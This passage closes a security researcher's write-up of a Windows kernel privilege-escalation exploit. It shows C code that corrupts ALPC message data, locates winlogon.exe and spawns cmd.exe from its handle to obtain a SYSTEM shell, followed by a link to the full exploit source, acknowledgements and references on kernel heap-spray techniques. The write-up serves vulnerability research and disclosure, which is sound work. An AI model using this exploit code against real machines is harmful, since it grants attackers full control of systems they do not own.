	ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE));
    pAlpcMsgData[0] = 0xffffffffffffffff;
    pAlpcMsgData[1] = 0xffffffffffffffff;

    for (int i = 0; i < portsCount; i++) {
        ret = NtAlpcSendWaitReceivePort(ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);
    }

Once that is done, all we need to do is to find the PID of winlogon, obtain a handle to that process, and create a cmd.exe process using the handle to obtain an NT AUTHORITY\SYSTEM shell!

    // Find PID of winlogon
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    HANDLE winlogon_process = 0; 

    if (Process32First(snapshot, &entry) == TRUE) {
        while (Process32Next(snapshot, &entry) == TRUE) {
            if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) {  
                winlogon_process = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, entry.th32ProcessID);
                printf("[+] Found winlogon: 0x%lx\n", winlogon_process); 
            }
        }
    }
    printf("[+] SHELLZ\n");
    CreateProcessFromHandle(winlogon_process);

Exploit Demo

This is how the exploit looks like when run:

The exploit source code can be obtained here.

Acknowledgements

I would like to thank Chen Le Qi for his patience and guidance while I was working on this – I’ve really learnt a lot!

References

  1. Windows Cloud Filter API documentation: https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/
  2. Placeholder files: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/placeholders
  3. Reparse points: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/reparse-points
  4. Windows structs: https://www.vergiliusproject.com/
  5. Cloud filter reparse data structs: https://github.com/ladislav-zezula/FileTest/blob/master/ReparseDataHsm.h
  6. ALPC technique by Xu, Song and Li: https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of-Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf
  7. PipeAttribute technqiue by Bayet and Fariello: https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  8. Windows kernel heap by Angelboy: https://speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1
  9. Exploitation of CVE-2023-36424 using ALPC and PipeAttributes, and for ALPC heap spray code: https://github.com/zerozenxlabs/CVE-2023-36424
  10. WNF heap spray: https://www.cnblogs.com/feizianquan/p/16089929.html
  11. Spawning process from handle: https://github.com/varwara/CVE-2024-35250/blob/main/CVE-2024-35250.cpp